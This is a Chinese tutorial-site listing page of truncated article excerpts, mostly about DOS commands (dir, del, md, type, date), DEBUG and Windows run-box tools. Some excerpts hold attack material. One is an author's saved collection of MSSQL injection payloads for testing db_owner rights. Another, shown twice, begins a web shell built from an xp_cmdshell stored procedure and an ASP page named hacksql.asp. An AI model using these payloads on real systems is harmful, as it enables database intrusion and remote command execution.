不止能查看寄存器的，还能直接看内存的内容。 d查看cs和ip标示的内存地址的内存里的内容。 要查看指定地址的内存内容 以ss做基地址，0000做偏移地址 用D命令看的是16进制，看不懂啊，不能人工翻译成汇编啊。怎么办呢？ 用U命令。 比如我们想看看cpu要执行的第一个汇编指令是什么呢，怎么看？（这个得会） 那如何修改内存中的内容呢？ t命令 输入一个t... [阅读全文]

作者:草哲我记性不好所以把常用注入代码记录下来有点乱但对我来说还算很有用希望大家也会喜欢！ //看看是什么权限 and 1=(Select IS_MEMBER(’db_owner’)) And char(124)%2BCast(IS_MEMBER(’db_owner’) as varchar(1))%2Bchar(124)=1 ;-- //检测是否有读取某数据库权限 and 1= (Select ... [阅读全文]

作用:　　列出在指定时间和日期在计算机上运行已计划命令或计划命令和首先要保证“计划”服务已启动才能使用 at 命令查看这篇教程视频讲解版... [阅读全文]

作用:显示磁盘目录内容　　格式:dir 盘符路径/P或/W　　使用介绍说明:　　(1)/P使用；当欲查看目录太多无法在屏显示完屏幕会直往上卷不容易看清加上/P参数后屏幕上会分面次显示23行文件信息然后暂停并提示；Press any key to continue　　(2)/W使用:加上/W只显示文件名至于文件大小及建立日期和时间则都省略加上参数后每行可以显示 5个文件名　　例子:　　(1)显示磁盘... [阅读全文]

、DATA日期设置命令　　功能:设置或显示系统日期　　类型:内部命令　　格式:Date[mm-dd-yy]　　使用介绍说明:　　(1)省略[mm-dd-yy]显示系统日期并提示输入新日期不修改则可直接按回车键[mm-dd-yy]为“月月-日日-年年”格式；　　(2)当机器开始启动时有自动处理文件(AUTOEXEC.BAT)被执行则系统不提示输入系统日期否则提示输入新日期和时... [阅读全文]

作用:删除文件命令　　格式:del 盘符路径文件名 /P　　使用介绍说明:　　(1)选用/P参数系统在删除前询问是否真要删除该文件若不使用这个参数则自动删除；　　(2)该命令不能删除属性为隐含或只读文件；　　(3)在文件名称中可以使用通配符；　　(4)若要删除磁盘上所有文件(DEL*•*或DEL•)则会提示:(Arey ou sure？)(你确定吗？)若回答Y则进行删除回答N则... [阅读全文]

作用:建立子目录　　格式:md 盘符路径名子目录名　　使用介绍说明:　　(1)“盘符”:指定要建立子目录磁盘驱动器字母若省略则为当前驱动器；　　(2)“路径名”:要建立子目录上级目录名若缺省则建在当前目录下　　例子:　　(1)在C盘根目录下创建名为ITCSO子目录　　C:＞md ITCSO (在当前驱动器C盘下创建子目录ITCSO)查看这篇教程视频讲... [阅读全文]

功能:显示ASCII码文件内容　　类型:内部命令　　格式:Type[盘符:][路径]〈文件名〉　　使用介绍说明:　　(1)显示由ASCII码组成文本文件对EXE.COM等为扩展名文件其显示内容是无法阅读没有实际意义2；　　(2)该命令次只可以显示个文件内容不能使用通配符；　　(3)如果文件有扩展名则必须将扩展名写上；　　(4)当文件较长屏显示不下时可以按以下格式显示；TYPE[盘符:][路径]〈文... [阅读全文]

开始--运行 regedit 进入注册表 补充些: 1. gpedit.msc-----组策略 2. sndrec32-------录音机 3. Nslookup-------IP地址侦测器 4. explorer-------打开资源管理器 5. logoff---------注销命令 6. tsshutdn-------60秒倒计时关机命令 7. lusrmgr.msc----本机用户和组 8... [阅读全文]

我们常用的操作系统有windows 9x/Me,windows XP，windows NT,windows 2000等，都是可视化的界面。在这里DOS系统中的命令已经很少用了，可是很少用并不是没用，许多高手还是喜欢用DOS使用来进行基本的操作，这里我来具体讲一下常用的DOS命令。 DOS命令总共大约有一百个（包括文本编辑、查杀病毒、配置文件、批处理等），我们这里详细介绍常用的DOS命令。 　1.... [阅读全文]

1、首先在sql里面你能够访问数据库里面建立存储过程比如说:ddy如下:CREATE PROCEDURE ddy@cmd varchar(50)ASexec master..xp_cmdshell @cmd2、asp里如下:(hacksql.asp)%cmd=trim(Request.Form(\"cmd\")) cmd\"\" then work show... [阅读全文]

　　1、首先在sql里面你能够访问的数据库里面建立存储过程，比如说：ddy如下：CREATE PROCEDURE ddy@cmd varchar(50)ASexec master..xp_cmdshell @cmd2、asp程序里如下：（hacksql.asp）%cmd=trim(Request.Form("cmd"))if cmd"" thenwork()elseshow()end iffunc... [阅读全文]